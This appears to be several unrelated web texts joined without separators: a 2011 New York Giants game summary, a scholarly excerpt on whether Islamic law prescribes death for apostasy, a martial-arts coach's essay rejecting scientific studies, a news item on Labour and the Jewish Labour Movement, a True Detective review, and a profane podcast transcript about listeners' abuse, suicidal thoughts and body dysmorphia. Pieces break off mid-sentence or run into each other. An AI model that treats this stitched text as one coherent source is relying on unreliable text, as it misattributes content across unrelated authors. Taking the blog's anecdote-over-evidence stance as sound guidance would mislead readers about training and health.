the lead three separate times during the course of the game. With 58 seconds remaining in the game and Green Bay leading 35–27, the Giants tied the game on a touchdown and two-point conversion by Eli Manning, Hakeem Nicks, and DJ Ware. The Giants could not stop Aaron Rodgers from leading the Packers back down the field, however, and Mason Crosby's field goal as time expired kept the hopes for an undefeated season in Green Bay alive for the moment. Manning threw three touchdown passes, with Nicks recording two and backup tight end Travis Beckum the other, and recorded 347 yards passing while Victor Cruz added 119 yards on seven catches. Rodgers recorded 369 yards and four touchdowns, two of which went to Donald Driver. Week 14: at Dallas Cowboys [ edit ] Week Fourteen: New York Giants at Dallas Cowboys – Game summary 1 2 3 4 Total Giants 5 10 7 15 37 Cowboys 7 10 3 14 34 at Cowboys Stadium, Arlington, Texas Date : December 11 : December 11 Game time : 8:20 p.m. EST/7:20 p.m. CST : 8:20 p.m. EST/7:20 p.m. CST Game weather : Played indoors (roof closed) : Played indoors (roof closed) Game attendance : 95,952 : 95,952 Referee : Scott Green : Scott Green TV announcers (NBC): Al Michaels, Cris Collinsworth and Michele Tafoya Game information First quarter NYG Pierre-Paul sacked Romo in end zone for a Safety NYG Tynes 23-yard FG (7–66, 2:35) DAL John Phillips 12-yard pass from Romo (Dan Bailey kick) (8–80, 4:18) Second quarter NYG Jacobs 1-yard run (Tynes kick) (10–80, 5:04) DAL Robinson 9-yard pass from Romo (Bailey kick) (11–80, 6:19) NYG Tynes 26-yard FG (4–6, 0:22) DAL Bailey 49-yard FG (6–49, 0:48) Third quarter DAL Bailey 49-yard FG (11–41, 5:11) NYG Manningham 47-yard pass from Manning (Tynes kick) (9–85, 3:12) Fourth quarter DAL Miles Austin 6-yard pass from Romo (Bailey kick) (4–80, 1:31) DAL Dez Bryant 50-yard pass from Romo (Bailey kick) (2–49, 0:54) NYG Ballard 8-yard pass from Manning (Tynes kick) (8–80, 2:27) NYG Jacobs 1-yard run (Ware run) (6–58, 1:26) Top passers NYG – Eli Manning – 27/47, 400 YDS, 2 TD, INT DAL – Tony Romo – 21/31, 321 YDS, 4 TD Top rushers NYG – Brandon Jacobs – 19 CAR, 101 YDS, 2 TD DAL – Felix Jones – 16 CAR, 106 YDS Top receivers NYG – Hakeem Nicks – 7 REC, 154 YDS DAL – Laurent Robinson – 4 REC, 137 YDS, TD Top tacklers NYG – Jason Pierre-Paul – 6 TKL, 2 AST, 2 SK, SFTY DAL – Sean Lee – 5 TKL, 4 AST The Giants went to Arlington, Texas for their first meeting with the division rival Cowboys. Once again, the Giants were able to record a victory in the final minutes. Trailing late in the fourth quarter, Eli
, while the latter has this 50 PUNISHMENT IN ISLAMIC LAW: A COMPARATIVE STUDY meaning in addition to others; a person who forsakes Islam for unbelief or for another religion is called a murtadd (apostate). 46 The common view among Muslim jurists, as well as among Western orientalists, is that apostasy from Islam is a crime for which the death penalty is prescribed. The majority of the Muslim jurists, it has been remarked, classify this punishment as being in the hadd category. 47 It has already been noted that hadd punishments are punishments determined by the Qur'an or the Sunna of the Prophet, and that they are to be carried out if guilt is proven. Now in order to determine whether or not apostasy is a crime for which Islamic law has prescribed the alleged hadd punishment, one should consult the verses of the Qur'an, and the ahadith dealing with the subject, as well as the practice of the Prophet's Companions, which indicates how they understood both the Qur'an and the Sunna in relation to the matter. In this way it can be seen whether what is commonly accepted among Muslim jurists is correct or not. III. 1. Apostasy in the Qur'an Apostasy is mentioned in the Qur'an in thirteen verses contained in different surahs, but in none of these verses can one find any mention of punishment to be carried out in this world. On the contrary, all that these verses contain is the assurance that the apostate will be punished in the Hereafter. 48 Some examples of such verses may be useful to demonstrate this fact. Surah XVI, verse 106 states, "Whoever rejects faith in God after believing in Him, excepting under compulsion while his heart remains firm in faith — but such as open their breast to unbelief, on them is wrath from God and theirs will be a dreadful penalty." 49 This verse was revealed during the late Meccan period, and it is clear from the words that the apostate is threatened only with punishment in the next life. In Madina, where the Prophet established his state shortly after his migration (hijra), Surah II was revealed. In this Surah the mention of apostasy was also accompanied by the warning that the apostate would be punished in the next world (verse 217). At Madina the Prophet also received the revelation of the third surah of the Qur'an, in which apostasy was again mentioned in many verses, but always with the declaration that the apostates would be punished, not in this world but in the next (verses 86-91). In yet another Madinian revelation, the Qur'an declared: "O you who believe! if one of you should turn back from his religion, then God Chapter II 51 will bring a people whom He shall love, and they too shall love Him" (V: 54). In this verse the murtadd is certainly exempt from any sort of punishment in this life. At the same time, one can say that the death penalty for apostasy — especially when it is considered as a hadd punishment — contradicts the Qur'anic principle law states in Surah II, verse 256, which proclaims "No compulsion in religion." Ibn Hazm, to avoid this criticism, claimed that this verse had been abrogated and that compulsion is allowed in religion; consequently, according to him, the punishment for apostasy does not contradict the Qur'an. 50 However, this claim is invalid, since Qur'anic scholars have established the abrogated verses and this verse is not among them. 51 Accordingly, one can say with the Encyclopaedia of Islam that "In the Qur'an the apostate is, threatened with punishment in the next world only." 52 III. 2. The Sunna and Apostasy It is a common practice among Muslim jurists, when introducing their discussion of apostasy, to quote one or the other of the Qur'anic verses dealing with the subject. At the same time, the strongest evidence they use to prove that apostasy is a hadd-type offence punishable by the death penalty is that of two prophetic reports which we shall now examine along with the report about the group from the tribe of 'Ukal to which reference was made in the first chapter of this study. 53 As for the report concerning the 'Ukal group, some of the Muslim jurists claim that they were punished because of their apostasy. 54 The same view is held by some Western orientalists. Zwemre, in his book The Law of Apostasy in Islam, describes the case of the 'Ukal as the earliest case of apostasy. He quotes Muslim concerning it, and comments that the text shows how "the earliest apostates were tortured by Muhammad." 55 On the other hand, the prevalent view among Muslim jurists is that the case of this group of 'Ukal and 'Urayna was a case of hiraba (armed robbery) and it was for this crime that they were punished. 56 The text itself demonstrates this very clearly. It is true that most jurists classify them as apostates (murtaddun) and rebels against God and His Prophet (muharibun), but the term apostate came to be used incidentally or because the people of 'Ukal and 'Urayna, in addition to their having committed the crime of hiraba, also rejected Islam. In any case, it is universally 52 PUNISHMENT IN ISLAMIC LAW: A COMPARATIVE STUDY agreed that this incident has noting to do with the punishment ordained in Islamic law for apostasy. Accordingly, nothing can be inferred from this report to help in determining the punishment for apostasy. Another Prophetic report commonly used in discussing the subject is the hadith transmitted by Bukhari, Muslim. and Abu Dawud: "The life of a Muslim may be taken only in three cases, i.e., in the case of a married adulterer, one who has killed a human being (qatal nafsan), crucified, Islam, forsakes his religion and separates himself from his community (al-murtaddu 'an dinihi al-mufariqu lil-jama'a). 51 On the basis of this hadith the jurists maintain that the Prophet allowed the death penalty for a Muslim if he apostatized. 58 But this report was narrated by Abu Dawud in different words, in which the Prophet explained what he meant by "one who forsakes his religion and separates himself from his community." In the latter version, such an individual is described as "a man who went out (from the community) to fight against God and His Prophet, and should then be put to death, crucified or imprisoned." 59 In order to reconcile the words of this hadith with the words of the Qur'an (Surah V, verses 33-34), Ibn Taymiyya explained that the crime referred to in this hadith is the crime of hiraba (armed robbery). He holds that this is an explanation of the words in the former version, "one who forsakes his religion... " Accordingly, this hadith has nothing to do with the case of simple apostasy, i.e., apostasy which is not accompanied by fighting against God and His Prophet. 60 In other words, this report indicates that anyone who commits the crime of hiraba in fact separates himself from his religion because a Muslim would never commit such a crime. Again, the law for apostasy cannot be inferred from this hadith. The strongest emphasis is laid on a hadith narrated by Ibn 'Abbas in which the Prophet said, "Whoever changes his religion, kill him;" 61 it is primarily on the strength of this hadith that jurists based their view that an apostate should be sentenced to death. Their work on the subject generally 62 shows them to interpret the words, "Kill him," as a grammatical imperative, sighat alamr, that is, as an order which must be carried out. In his book, The Religion of Islam, Muhammad 'Ali defended the view that Islam knows of no death penalty for apostasy unless the apostate joins forces with the enemies of Islam in a state of actual war, in which case he is killed not because of his apostasy but simply like any other fighter against Islam (muharib). 63 He supported his view by explaining that unless we apply this limitation to its meaning, the preceding hadith cannot Chapter II 53 be reconciled with other hadith or with the principles laid down in the Qur'an. 64 Moreover, the wording of this hadith is very broad, including any change from one religion to another, implying that even a non-Muslim who becomes a Muslim, or a Jew who becomes a Christian must be killed. On these grounds Muhammad 'Ali stated that the hadith cannot be accepted without placing a limitation upon its meaning. 65 This last statement is already agreed upon by the majority. All schools, with the exception of the Zahiri and some Shafi'i jurists, allow that a non-Muslim who changes from his original religion to any other is not to be harmed, while a Muslim who leaves Islam for any other religion should be sentenced to death unless he returns to Islam. 66 The Hanafi school puts another limitation on the meaning of this hadith by applying it to male apostates only. According to their view, a female apostate is not liable to the death penalty since she is not in any position to fight against Islam, which is the ostensible the reason for putting to death an apostate. 67 But these limitations on the meaning of the above hadith still do not lead to the conclusion of Muhammad 'Ali, i.e., that an apostate cannot be put to death unless he is in a real state of war against Islam. A careful and objective study of the subject, avoiding the apologists' view which influenced Muhammad 'Ali, may lead to an entirely different conclusion. IV. A View Concerning Apostasy It has already been mentioned that nothing in the Qur'anic verses cited can be taken as a justification for the death penalty as a hadd punishment for apostasy. As for the Sunna, it has been said that one of the two reports concerned has nothing to do with the point in question. However, the other hadith, in which the death penalty was ordered for the apostate, was understood as a clear command prescribing the death penalty as a hadd punishment for apostasy. The jurists have usually tried to avoid the execution of the punishments as far as possible, either on the principle of doubt (shubuhat) or through the law of proof. Yet in relation to apostasy they have extended the cases in which the punishment can be carried out, through broadening the words and acts which might be considered as formal apostasy, to an extent entirely beyond the actual meaning of apostasy, the changing one's religion. 68 54 PUNISHMENT IN ISLAMIC LAW: A COMPARATIVE STUDY The jurists were led to this, I feel, by the emphasis placed on the question of faith by Islamic law and the feeling that, after changing his religion, an individual might become an example which could be imitated. Moreover, it is common knowledge among Muslims that nothing is worse than becoming a disbeliever after being a Muslim. The jurists were also influenced by the literal meaning of the report which ordered the apostate to be put to death. I will focus my inquiry into the punishment for apostasy on this last consideration. To understand an Islamic legal clause, one should consult the authorities on the origins of Islamic law ('ulama' al-usul). The point to be sure of here is the meaning of the imperative mood (sighat al-amr) in Arabic generally and in Qur'anic and Prophetic usage in particular. The jurists who have written concerning the subject have indicated that the imperative may be used in sixteen different ways; among them are recommendation, inimitability, threat, permission, and the literal meaning of the imperative, which signifies a command or an order. 69 And because in the hadith concerned the imperative mood is indeed considered to be a command or order, jurists have generally placed the punishment for apostasy in the hadd category. The imperative mood, however, cannot be said to be restricted to a single meaning unless there is factual evidence to support it. The factual evidence in the case in question by no means supports the view that this imperative usage indicates an order. In the first place, the Qur'anic verses concerned did not prescribe any punishment for apostasy but simply declared it to be a great sin. Secondly, the Prophet who said these words about apostates never himself had an apostate put to death. There were some cases in which people apostasized after converting to Islam, but the Prophet never ordered any of them to be killed. 70 On the contrary, Bukhari and Muslim 71 related that "an Arab (a bedouin) came to the Prophet and accepted Islam; then fever overtook him while he was still at Madina, so he came to the Prophet and said, 'Give back my pledge,' but the Prophet refused; then he came the next day and said to the Prophet, ‘Give me back my pledge,' and the Prophet refused. The Arab did the same a third day and the Prophet refused." The report goes on to say that the man afterwards left Madina unharmed. This is a clear case of apostasy in which there was no punishment. It is clear from the words of the report that the bedouin was seeking to return to his old religion, or at least to leave Islam, but in spite of this he went away unharmed. 72 Another case of apostasy is reported in which the apostates were a group of Jews who had accepted Islam and then returned to their original Chapter II 55 religion; the case is mentioned in the Qur'an III: 71-73. These Jews would pretend that they had accepted Islam in the first part of the day and show that they did not believe in it at the end of the day. This was done, according to the Qur'an, in order to undermine the confidence of newly-converted Muslims. At that time the Prophet was the ruler of Medina. Consequently, one cannot imagine how such people could have done this under a government which punishes apostasy with the death penalty, while they were not in fact, punished in any way. This is the factual evidence relating to the hadith concerned, and accordingly, I understand apostasy to be punishable by ta'zir punishment and not by hadd. The words, "kill him," in the hadith concerned, however, make it possible for the judge to go beyond the limits of ta'zir laid down in another previously-mentioned hadith, 74 the one in which the Prophet ordered a man found drinking for the fourth time to be sentenced to death as a ta'zir punishment. 75 In spite of the view that apostasy is punishable by a hadd punishment, that is, by the death penalty, there are jurists who consider its punishment to be ta'zir. This view was expressed during different eras of Islamic law. During the caliphate of 'Omar, a man came to him from a section of the army which was fighting for Islam, and the Caliph asked him what had been done with some people who were known to have apostatized. The man replied that they had been killed, the requirement of the hadd punishment. 'Omar then said that if he could have taken them in peace it would have been the best thing for him. The man asked 'Omar what he would have done if he had taken them in peace, and the Caliph replied that he would have asked them to return to Islam and if they refused he would have imprisoned them. 76 Imprisonment is clearly not one of the hadd punishments, and it could not have been inflicted on these apostates except as ta'zir. Among the followers of the Prophet's companions, Ibrahim al-Nakh'i (d. 95 A.H.) and Sufyan al-Thawri (d. 161 A.H.) held the view that the apostate should be invited back to Islam and should never be sentenced to death.77 Baji, the distinguished Maliki jurist, made it very clear that apostasy is "a sin for which there is no hadd punishment." 78 A sin of this sort can be punished only by a ta'zir punishment. Finally, Ibn Taymiyya stated categorically that the punishment for apostasy is a ta'zir punishment; it is or should be a severe punishment, but still it is in the category of ta'zir. 79 Moreover, the jurists who hold that the apostate should be sentenced to death do not all agree that this is a hadd punishment; they sometimes 56 PUNISHMENT IN ISLAMIC LAW: A COMPARATIVE STUDY call it hadd and sometimes not. 80 According to the Hanafi, Shafi'i, and Zahiri school, the death penalty for apostasy is a hadd punishment, 81 and, although according to the Hanbali school it is not a hadd punishment, still an apostate should be killed because of his unbelief (kufr). However, Ibn Qudamah, in Al-Mughni, did not categorize the punishment as ta'zir or as anything else. 82 The Islamic penal system recognizes three kinds of punishments: hadd (fixed punishment), qisas (retaliation), and ta'zir (discretionary punishments). The second is certainly out of the question here, and since it cannot be proved that the punishment for apostasy pertains to the category of hadd, it can only be understood as a ta'zir punishment. The preceding remarks about the reasons for claiming drinking to be punishable by hadd also apply here and need not be repeated. To sum up, the Qur'an prescribes no punishment in this life for apostasy. The Prophet never sentenced a man to death for it. Some of the companions of the Prophet recognized apostasy as a sin for which there was a ta'zir punishment, as did some jurists. Actually, Islamic law considers apostasy as the most major sin and the limits for ta'zir are not, in its case, of binding force. Thus, a court may either sentence an apostate to death, imprison him, or prescribe whatever other punishment it thinks appropriate. Also, the law-makers of a Muslim community may enact whatever punishment they feel to be suitable for this offence. V. A Survey of the Punishments for Drinking and Apostasy The conclusion reached in the two preceding sections was that drinking and apostasy cannot be categorized as crimes for which there are hadd punishments. While both are sins which a Muslim is urged strongly to avoid, a ta'zir punishment is prescribed for both under Islamic law, and such a punishment, by its nature, is expected to vary according to the culprit's personal character, the circumstances, the time, and the manner in which the crime was committed. Some may question the basis for prescribing punishments for these two sins. In fact Islamic criminal law knows of no distinction between sin and crime, although such a distinction is well-established among Western thinkers and in the Western literature in both law and philosophy. But as the function of ta'zir in Islamic law is to provide a legal sanction for every sin for which there is neither a hadd punishment nor penance (kaffara), 84 the distinction between sin and crime, or between criminal action and moral guilt, no longer exists. Chapter II 57 Accordingly, the use of the word sin (ma'siya) in this text and in Islamic legal writing as well, should be understood to refer to an action or omission for which there is no hadd punishment or penance, but which makes its doer liable to a ta'zir punishment. This question, therefore, should be rephrased. Why, it could be asked, did the Prophet order penalties for some sins, while other were left to the discretion of judges or rulers? A simple explanation might be that he ordered punishment for the major sins in order to draw the Muslims' attention to them, and so that those who committed them would not go unpunished. While the Qur'an proclaims that there will be a grave punishment for sins in the Hereafter, this might lead people, as it has led some, to say that nothing should be done about these sins in this world or through the state's authority. To prevent this, the Prophet called attention to some major misdeeds and taught his followers that such conduct must be punished. Major misdeeds can be understood to mean two principal things: (1) an act or omission which may become so widespread among people as to threaten the public interest, and (2) an act or omission which is likely to harm a human being either physically or mentally, the spread of which is undesirable. In other words, any sort of conduct which threatens the existence or the well-being of the community, either directly or indirectly, may be considered a major sin in this sense. The purpose behind punishing such conduct is merely to deter people from indulging in it; as was shown earlier, deterrence is one of the major purposes of punishment in Islamic law. 85 But in this context deterrence plays the role of a mere means, while in its earlier context it could be regarded as an end in itself. The kinds of conduct mentioned previously should not exist in a Muslim society; at the same time it is the right and responsibility of the government to safeguard the society from such conduct or such harm where these exist, and the imposition of penalties or punishments is one of the means by which society can be so safeguarded. The protection of society is universally accepted as a purpose of punishment. 86 It assumes that crime is wrong done against the public interest, a threat of the preservation of order which should be prevented. On the other hand, it is for the good of the individual not to repeat this sort of action, even if the means of preventing him are necessarily painful." 87 The protection of society is, I think, the purpose behind such punishments as those in question, i.e., the punishments for drinking and aposta- 58 PUNISHMENT IN ISLAMIC LAW: A COMPARATIVE STUDY sy, for Islamic law has prescribed deterrent punishments for such crimes or misdeeds in order to safeguard Muslim society from their consequences. 88 To support this view, one has only to demonstrate what effect these misdeeds can have upon the community and how they can harm its existence or well-being. For the sake of clarity, this topic is divided into two subsections. V. 1. Drinking [Pages 58-61 skipped] Chapter II 61 V. 2. Apostasy Apostasy has been discussed less than drinking. The subject is completely unknown to Western writers; some orientalists have written about it, but only to explain the Muslim point of view, as they have understood it. It was dealt with in the Jewish Encyclopaedia, but merely as a matter of historical importance and without any attempt to explain the punishment's rationale in Jewish law. It has already been mentioned that Muslim writers hold two different views concerning it. The more common is that the punishment for aposta- 62 PUNISHMENT IN ISLAMIC LAW: A COMPARATIVE STUDY sy is the death penalty and that it falls in the category of hadd. A less common, but well-documented, view is that is a ta'zir punishment which may be as severe as the death penalty and which must, like all ta'zir punishments, be determined according to the particular circumstances of each case. However, none of the supporters of either of these two views has tried to question the purpose behind prescribing a punishment for such conduct. The holders of the first view did not analyse its purpose because it was, according to them, a hadd punishment which need not be widely discussed but was simply to be accepted as the will of God. Those who hold the second view do so unquestioningly, because they concentrate on presenting evidence and proof of their point of view. Although in some of the Islamic law texts, especially of the Hanafi school, one can find some general comments about the reasons underlying the punishment for apostasy, such general observations do not contribute much toward achieving the aim of an attempted modern legal study. It was assumed at the beginning of this section that the principle underlying the punishment for drinking and apostasy was the protection of society against the potential or actual harm of such acts. This has been adequately proved with regard to drinking. Whether or not it is also correct with regard to apostasy is the subject of the next pages. Some preliminary observations are necessary here. The first concerns the widely held principle among Muslims that Islam provides a total system of life, starting from birth, extending throughout every moment of life. Matters such as infant-feeding and child-rearing, marriage and divorce, legacy and inheritance, bargains and contracts, war and peace, international relations, the treatment of minorities, and many other aspects are governed in one way or another by legal rules in the sources of Islamic law. Secondly, Muslims, and especially Muslim jurists, consider all these aspects as having the same importance as, let us say, ritual prayer (salat) and fasting. Hence, any problem which arise should be treated and solved in the way recommended by, or at least in harmony with, the related rules in Islamic law. 113 Accordingly, all aspects of Islamic law should be taken and accepted as a unit, one total and indivisible system. 114 With regard to these principles, some jurists hold that if the ruler (or the government) acts against some of the rules of Islamic law, he should be advised by the learned men to rectify the error by complying with them and to remedy the harm, if any, brought about by his actions. If he, or the government, does so the matter is over. But if Chapter II 63 not, the believers should fight for their right to be governed in accordance with the divinely ordained rules of Islam. 115 A Muslim state should be shaped in this way and the various authorities in it should be given their power in accordance with, and not outside, the limits of the law of Islam. This principle is recognized as a fundamental one, to the extent that all conflicts and challenges which have been raised against the rules of one or another Muslim country have been connected with it. 116 Recently, the demand to adopt this principle was behind the conflict between the Islamic movement and some of the Arab governments. 117 It is quite natural, according to such principles, to consider loyalty to the laws of the community as a highly necessary condition for the enjoyment of the protection of the law and the authority of the state. At the same time, it is natural to consider disloyalty as a reason for justifying the deprivation of such protection. This was the explanation given for the punishment for apostasy by some modern writers on the subject. 118 The question which remains is how disloyalty to the Islamic law could be an act harmful to society and how punishment for it can be justified. For this point we can give two explanations. The first one relates to the case referred to in the Qur'an, 119 i.e., the case of the Jews who would pretend that they had accepted Islam at the beginning of the day, while at the end of it, they would say that they had rejected it in order to weaken the commitment of newly-converted Muslims. The second is the case of those who apostatize from Islam and join hands with its enemies in an actual state of war, or who unite people against Islam or the Muslim state and then fight against it. Both cases are clearly harmful to the society. While the former encourages the people to reject the law and order of the society (which is based on its religion) by rejecting the religion itself, the latter involves the waging of war, or helping those who wage it, against the apostate's own state. In both cases punishment is, I believe justified, in order to protect society from the harm brought by the apostate's action. However in any other case, that is, in cases of simply change of one's religion, punishment cannot be justified. One can understand, therefore, the Hanafi school's view of punishing the male apostate only, leaving the female apostate unpunished, because she is not able to fight against the Muslim state, which the male apostate is able to do. 121 This view was understood by some as being based on the "potentiality to fight," consequently, it was not accepted. But the fact is that it is based on what usually happens and not on the mere potentiality. The proof is that some of the Hanafi jurists stated that "an apostate 64 PUNISHMENT IN ISLAMIC LAW: A COMPARATIVE STUDY could not be punished for mere unbelief, but to prevent the mischief of war" which follows his rejection of Islam. 123 Finally, the concept of punishing a person who displays disloyalty toward his country is well-known in all legal systems. In modern legal systems, this may be called treason or conspiracy, but the concept is almost always the same. 124 To summarize, Islam is regarded by Muslims not as a mere religion but as a complete system of life. Its rules are prescribed not only to govern the individual's conduct but also to shape the basic laws and public order in the Muslim state. Accordingly, apostasy from Islam is classified as a crime for which ta'zir punishment may be applied. The punishment is inflicted in cases in which the apostate is a cause of harm to the society, while in those cases in which an individual simply changes his religion the punishment is not to be applied. 125 But it must be remembered that unthreatening apostasy is an exceptional case, and the common thing is that apostasy is accompanied by some harmful actions against the society or state. A comparison between the concept of punishing those who commit treason in modern systems of law and those who commit apostasy in Islamic law would be useful. Assuredly, the protection of society is the underlying principle in the punishment for apostasy in the legal system of Islam. NOTES 66 PUNISHMENT IN ISLAMIC LAW: A COMPARATIVE STUDY Chapter II 67 68 PUNISHMENT IN ISLAMIC LAW: A COMPARATIVE STUDY Quotation from: El-Awa, Mohamed S., Punishment in Islamic Law: A Comparative Study, Markazi Maktaba Islami, Delhi, India, 1st Edition 1983, Printing 2000, p. 49-56. Top of Page Last edited 2-15-2003Are You Really a Scientist? “Knowing the other and knowing oneself, In one hundred battles no danger. Not knowing the other and knowing oneself, One victory for one loss. Not knowing the other and not knowing oneself, In every battle certain defeat.” -Sun Tzu This article is about knowing yourself, and how that relates to your training. I am a seeker of knowledge and have been for many years. I started my martial arts journey at twelve years old in 1972. But I am also a practical man who considers himself a practitioner – not a researcher or scientist. I know I am not a scientist, and, believe it or not, that gives me a great advantage over many. Do I believe in science? Of course I do, but I couldn’t care less about the science behind practical training protocol. I look at the coach or instructor who recommends the protocol, and that is the primary consideration for me. In other words, I seek out the best trainers and martial arts instructors in the world and I train with them. Simple. No science involved. The difference between me and many strength coaches is I know I am not a scientist. Unfortunately, many do not realize this. They chase scientific studies and jump from one shiny object or article to the next. I am not a scientist. I am a practitioner. It is that simple. Experience Is the Best Teacher “In seeing victory, not going beyond what everyone knows is not skilled. Victory in battle that all-under-heaven calls skilled is not skilled. Thus lifting the down of an autumn leaf does not mean great strength. Seeing the sun and the moon does not mean a clear eye. Hearing thunder does not mean a keen ear.” -Sun Tzu I remember when a big scientific study about stretching came out. All the pseudo scientists and shiny idea chasers were all over it. But I did not even bother to read it. Why? I trained with the greatest kicker walking the earth, Superfoot Bill Wallace, and he taught me how and why to stretch. Do I need a scientific study to convince me I should stretch? Of course not. When I see a scientist in a lab coat win the world middle-weight kickboxing championship and remain undefeated through his reign then maybe I would listen to him about stretching, but probably not. I don’t read many articles on lifting weights anymore because I have no idea what most of them are talking about. I just read an article on why you should not deadlift and I probably understood about one tenth of what was said. Way too technical for me. And guess what I know from personal experience and from the experience of many others? The deadlift is one of the best absolute strength-building lifts. So what do I go with: a bunch of technical ideas and theories or what I know from experience to be true? I am sure anyone who knows me already guessed the answer. Many of these articles have hidden agendas and bias in their motivation. This is not how you find truth or even good ideas. I am not a personal trainer. I am a strength coach and martial arts instructor. I have never studied anatomy. But I know how to get strong, and I definitely know how to fight and hit things hard. I know movement from martial arts. I can spot weakness in movement and have been taught to instantly recognize it so I can take advantage of it. I have done this many times. It is a skill and I have it. Real Skill Is Simple “So-called skill is to be victorious over the easily defeated. Thus the battles of the skilled are without extraordinary victory, without reputation for wisdom, and without merit for courage.” -Sun Tzu It does not take a rocket scientist to fly a rocket, just a good pilot. I don’t like to overthink things, and I think many suffer from stagnation through analysis. Too many people chase the shiny stuff and forget the fundamentals. When I was in the military, I could fix my position in an aircraft flying 400 miles per hour within a quarter of a mile using stars or the sun and the moon. I could drop a bomb or paratrooper on a fixed point on the earth simply looking out the windscreen of the aircraft. I knew little of the science behind celestial navigation and ballistics, but I was highly skilled at the practical application of both. I relied on the fact that many had done this before and they had a practical way to teach me to do these things with little understanding of the science. This approach works. It is done all the time. But for some reason many strength coaches think they need to have a scientific study to back up anything they do. It is a silly waste of time for most. I love Pavel’s books. They are written in plain, easy-to-understand terms. The same with Dave Whitley’s bent press book. Other than that, I stick to the old books like Arthur Saxon’s The Development of Physical Power and Text Book of Weight-Lifting. Technical lifts and martial arts require hands on instruction. That is why I sought out Pavel and attended his challenge to learn kettlebell lifting. He is the best and that is where I went. Simple. When I wanted to learn to improve my kicking for karate tournament competition, I brought Bill Wallace in for seminars. For Kempo, the late great Stan Hart. When I stalled out on the two hand anyhow, I found a Dave Whitley seminar. Poof – no more sticking point. And guess what? Not one time did Dave cite a scientific study. He simply taught the form and progressions that made him a great bent presser. If you seek knowledge in practical application, you don’t have to waste time on scientific studies. Go to the best in whatever discipline in which you are attempting to improve your skill. There is no better way.Labour will not investigate its Jewish member group, in light of allegations of “interference” by Israel revealed in the Al Jazeera sting documentary. The party reportedly considered investigating the Jewish Labour Movement, following claims Israel’s UK embassy was trying to “influence British democracy”, through its ties to the group. ‘The Lobby’ documentary, which was aired last month, used an undercover journalist to film an employee of the embassy for six months, Shai Masot. Get The Jewish News Daily Edition by email and never miss our top stories Free Sign Up In one episode, diplomat Shai Masot is filmed at dinner with a friend, former aide to Robert Halfon, joking about MPs to “take down” including foreign office minister Alan Duncan. The documentary also filmed the director of JLM, Ella Rose in tears following an encounter with ex-Momentum organiser, Jackie Walker. Rose is also filmed saying “You know what, I could take her”, when talking about the left wing activist. Following the series, The Labour Party called on the government to launch an investigation into “improper interference” by Israel in British politics, whilst others urged the party to run an internal investigation into the JLM. Since the documentary was aired however, Al Jazeera learned that they would receive a ticking off from parliamentary authorities, for filming undercover within the Palace of Westminster without permission.True Detective: A Game Changer and the Benefit of Good Writing Warning: There will be spoilers that may or may not be correct depending on when you are reading this. Three episodes in and True Detective has its viewers seething – not because of quality or content (though HBO’s ‘sex sells’ policy is pitching a tent), but because they’ve reached a two-week long breakwater due to the Super Bowl; you can hear the chuckle of Sherlock fans as they prepare for another year-long absence. Broadcast earlier this month to HBO’s biggest viewing audience in three years, the show has already nestled in along Game of Thrones as the channel’s leading drama. As they prepare for life without the outgoing Boardwalk Empire, studio executives have offered True Detective’s creator and writer, Nic Pizzolatto, a two-year deal to extend the anthology past its première series. We follow Rust Cohle (Matthew McConaughey) and Martin Hart (Woody Harrelson) as they recount the events of a religion-fuelled murder back in 1995, and the subsequent manhunt to catch the man responsible; while two present day detectives (Tory Kittles and The Wire’s Michael Potts) question the protagonists in light of a recent, similar crime – but they’ve already caught the killer … haven’t they? Critics have drawn comparisons with Thomas Harris’ Hannibal novels. We have the grisly crime-scene, the weirdo killer (or suspect), and the detectives hot on their trail. From the outset, True Detective could be lifted
six months and a friend passed me a joint and I said, no, thanks. And he said, oh, you still doing that thing with your dad? And I said, yeah. And he started laughing. I go, what? He goes, I see your dad on the side of your house every night after dinner smoking a cigarette. I was like, give me that joint. And it was on. You know, I wonder why I have [chuckles] trust issues. I just had an audio snafu. I read a really long Shame and Secrets Survey filled out by a woman named Scarlet, and it got erased. And I don't have the energy to re-read it, but it's a really moving survey, and, Scarlet, if you're listening, I just want to say, you are an awesome, beautiful soul and you deserve friendships that aren't abusive. And your mother is an incredibly toxic person, and fuck her and fuck what she thinks and fuck people who would judge you for having fantasies of having lesbian sex. And I hope you can get to a point where you can reach out and take that power that is there for you, that you've been giving away to your mom and abusive partners, because that's what you were led to believe as a child. You are worth more than that. But it's probably going to take getting out of your comfort zone and seeking some type of help, because you've been through fucking hell. You have been through hell. And you're worth more than what you're experiencing in your life right now. You can have a beautiful life, but it takes change and standing up for yourself and learning to be comfortable with other people being upset with you. There is no way to grow without experiencing people being upset with you. People are going to be upset with you no matter what you do, so why the fuck not do what you want in life, as long as you're not hurting somebody, in a way that, where you're consciously trying to hurt that person as opposed to taking care of yourself and that person feels hurt because you pull away, oh, shut up, Paul. All right, moving on. This is a Happy Moment filled out by Lucid, and he writes, I have recently been dealing with a relapse and a depression and suicidal ideation. One of my best friends, who is usually a macho kind of guy, came up to me the other day and gave me a huge hug. Before he let go, he told me that he didn't know what he could do or say to make things better for me but that he wanted me to know that he wouldn't know what to do if I wasn't in his life anymore. All I could do was cry and tell him that he had just done everything I ever needed him to do. That is really, really, really beautiful. Mean DJ Voice told me he thinks it sounds pretty gay. I don't know why I passed that on to you. I guess just so you can get to know what a complete fucking homophobic douche he is. Thank you for sharing that, Lucid. Mean DJ Voice just said, nice name. And then he made that noise, that pfft, pfft. He does that a lot, Mean DJ Voice. This is an Awfulsome Moment. I'm going to put this one in the hall-of-fame category, and this is filled out by a guy who calls himself Good Night, John Boy, Good Night, Jim Bob, Good Night, Mary Ellen, which I think is a reference to the '70s TV show The Waltons, and he writes, I suffer from BDD, body dysmorphic disorder. In particular my brain has locked in on the idea that my penis is too small. I’m a married man, mid 40s, and I know logically and rationally that this simply isn't true. I've measured and I’m solidly average. However, my brain just refuses to accept what I know is the truth. It's crazy. I've deal with this insecurity and irrationality most of my life, and it's been rather debilitating and embarrassing to admit. Anyway, I decided to submit a picture of my erect penis to an online forum, one of those rate-my-cock Web sites. Was this a good idea? Hell no. This is just one of the many dumbass things I've done because of my irrationality or impulsivity. So, I do it. An hour later, my wife calls me, wanting to know what the fuck are you doing? Here's the situation. My wife, me and my wife's mother all share a Verizon cell phone plan. We all have iPhones. And the feature that shares all photos between the phones was turned on. That's right. My mother-in-law has a picture of my penis next to a ruler, straining to reach the 5.9-inch mark. Dear God, where is the life undo button? [Chuckles] That is so fucking awfulsome, that, oh, my God. How can you not think of that every single time you see each other, or a ruler? Oh, my God [chuckles]. Can you imagine how awkward that moment would be, if you're in the living room and you're sitting next to your mother-in-law and one of the 